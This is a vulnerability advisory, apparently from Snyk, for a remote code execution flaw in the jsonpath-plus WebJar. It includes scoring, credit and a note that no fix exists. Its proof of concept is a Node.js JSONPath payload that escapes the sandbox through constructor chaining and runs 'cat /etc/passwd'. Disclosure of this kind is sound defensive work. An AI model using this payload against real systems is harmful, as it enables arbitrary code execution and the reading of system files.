Remote Code Execution (RCE) Affecting org.webjars.npm:jsonpath-plus package, versions [0,]


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JAVA-ORGWEBJARSNPM-8185019
  • published 14 Oct 2024
  • disclosed 10 Sep 2024
  • credit Andrea Angelo Raineri

How to fix?

There is no fixed version for org.webjars.npm:jsonpath-plus.

Overview

org.webjars.npm:jsonpath-plus is an A JS implementation of JSONPath with some additional operators

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of vm in Node.

Note:

This vulnerability was mitigated in version 10.0.0 but it can still be exploited using different payloads.

PoC

# Path: index.js
const { JSONPath } = require("jsonpath-plus");

const data = {};

let x = JSONPath({
    json: data,
    path: "$[(this.constructor.constructor("require(\"child_process\").exec(\"cat /etc/passwd\")")())]"
});
node index.js

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
9.3 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    High
  • Integrity (VI)
    High
  • Availability (VA)
    High
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None